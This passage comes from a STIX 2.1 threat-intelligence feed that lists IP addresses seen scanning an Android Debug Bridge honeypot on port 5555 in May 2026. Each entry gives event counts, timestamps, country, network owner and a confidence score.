      "id": "indicator--d1fb97a8-4334-422c-897d-c45a6fc507d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '14.152.90.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:00:02.000Z",
      "valid_until": "2026-06-14T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-13T20:24:41.000Z",
          "last_seen": "2026-05-13T20:25:43.136Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134763"
          ],
          "org": [
            "CHINANET Guangdong province network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-13T20:08:58.000Z | last_seen=2026-05-21T06:33:07.224Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:00:02.000Z",
      "valid_until": "2026-06-14T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-13T20:08:58.000Z",
          "last_seen": "2026-05-21T06:33:07.224Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-13T20:08:16.000Z | last_seen=2026-05-21T06:22:23.283Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--80e19a3e-39fc-45ef-9661-85a3b7283bbf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:00:02.000Z",
      "valid_until": "2026-06-14T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-13T20:08:16.000Z",
          "last_seen": "2026-05-21T06:22:23.283Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T23:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=1; ports=5555; cc=BR; asn=266400; asn_org=Ferenz Networks; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=1 | first_seen=2026-05-13T22:31:07.737Z | last_seen=2026-05-13T22:31:07.737Z | ports=5555 | cc=BR | asn=266400 | org=Ferenz Networks",
      "id": "indicator--d43545b1-7146-445b-b9f6-71d95d7e873f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.224.131.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T23:00:04.000Z",
      "valid_until": "2026-06-14T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 1,
          "first_seen": "2026-05-13T22:31:07.737Z",
          "last_seen": "2026-05-13T22:31:07.737Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "266400"
          ],
          "org": [
            "Ferenz Networks"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T01:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-14T00:12:21.000Z | last_seen=2026-05-14T00:13:28.774Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a79512a6-01ad-4462-9425-099d7b32038a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.172.136.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:00:02.000Z",
      "valid_until": "2026-06-15T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-14T00:12:21.000Z",
          "last_seen": "2026-05-14T00:13:28.774Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T01:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-14T00:48:58.000Z | last_seen=2026-05-14T00:59:07.366Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--3fd075a7-9ac8-4fc7-8a85-be1d33e855f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:00:02.000Z",
      "valid_until": "2026-06-15T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-14T00:48:58.000Z",
          "last_seen": "2026-05-14T00:59:07.366Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T01:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-14T00:48:41.000Z | last_seen=2026-05-14T00:49:42.017Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--41136621-067a-490c-a5b4-b9025ddce255",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:00:02.000Z",
      "valid_until": "2026-06-15T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-14T00:48:41.000Z",
          "last_seen": "2026-05-14T00:49:42.017Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=25 | first_seen=2026-05-14T01:33:56.000Z | last_seen=2026-05-14T01:45:31.278Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--dd5006ba-4a6f-4e09-b581-6d3b975108af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:00:03.000Z",
      "valid_until": "2026-06-15T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 25,
          "first_seen": "2026-05-14T01:33:56.000Z",
          "last_seen": "2026-05-14T01:45:31.278Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T03:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-14T02:36:20.000Z | last_seen=2026-05-14T02:37:29.527Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--40609947-201f-4968-be59-258c0303bd6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '171.35.130.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:00:02.000Z",
      "valid_until": "2026-06-15T03:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-14T02:36:20.000Z",
          "last_seen": "2026-05-14T02:37:29.527Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=ES; asn=8560; asn_org=IONOS SE; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-14T03:02:48.000Z | last_seen=2026-05-14T03:15:15.837Z | ports=5555 | cc=ES | asn=8560 | org=IONOS SE",
      "id": "indicator--1d64abbc-f5f0-4e4c-91e8-90731e31d389",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '212.227.153.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:00:05.000Z",
      "valid_until": "2026-06-15T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-14T03:02:48.000Z",
          "last_seen": "2026-05-14T03:15:15.837Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "8560"
          ],
          "org": [
            "IONOS SE"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-14T04:07:58.000Z | last_seen=2026-05-19T10:38:33.587Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--5af6ab3a-f94e-4db2-96f6-8be6d902a66b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:00:03.000Z",
      "valid_until": "2026-06-15T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-14T04:07:58.000Z",
          "last_seen": "2026-05-19T10:38:33.587Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=PT; asn=211680; asn_org=Sistemas Informaticos, S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-14T04:18:04.000Z | last_seen=2026-05-14T04:28:07.146Z | ports=5555 | cc=PT | asn=211680 | org=Sistemas Informaticos, S.A.",
      "id": "indicator--9e02c3da-68e0-4e49-817d-8c0f62937e93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:00:03.000Z",
      "valid_until": "2026-06-15T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-14T04:18:04.000Z",
          "last_seen": "2026-05-14T04:28:07.146Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "211680"
          ],
          "org": [
            "Sistemas Informaticos, S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=PT; asn=211680; asn_org=Sistemas Informaticos, S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-14T04:16:29.000Z | last_seen=2026-05-14T04:28:19.146Z | ports=5555 | cc=PT | asn=211680 | org=Sistemas Informaticos, S.A.",
      "id": "indicator--284219b6-ad5e-4b70-8723-1eb1c3a4b472",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:00:03.000Z",
      "valid_until": "2026-06-15T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-14T04:16:29.000Z",
          "last_seen": "2026-05-14T04:28:19.146Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "211680"
          ],
          "org": [
            "Sistemas Informaticos, S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-14T08:47:40.000Z | last_seen=2026-05-14T08:58:32.665Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--89e5d636-66f8-4ccf-813f-765354c97cc3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.198.40.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:00:02.000Z",
      "valid_until": "2026-06-15T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-14T08:47:40.000Z",
          "last_seen": "2026-05-14T08:58:32.665Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T13:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=30 | first_seen=2026-05-14T12:00:46.000Z | last_seen=2026-05-28T10:59:09.275Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--2c478c5e-ad03-4366-b453-60cf52fbb79c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:00:13.000Z",
      "valid_until": "2026-06-15T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 30,
          "first_seen": "2026-05-14T12:00:46.000Z",
          "last_seen": "2026-05-28T10:59:09.275Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T13:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-14T12:34:35.000Z | last_seen=2026-05-14T12:35:41.742Z | ports=5555 | cc=IN | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--36b88e9b-210b-4e54-8f9f-4d4ef76c626b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.227.161.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:00:13.000Z",
      "valid_until": "2026-06-15T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-14T12:34:35.000Z",
          "last_seen": "2026-05-14T12:35:41.742Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T15:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=19 | first_seen=2026-05-14T14:58:18.000Z | last_seen=2026-05-22T11:18:17.476Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:00:10.000Z",
      "valid_until": "2026-06-15T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
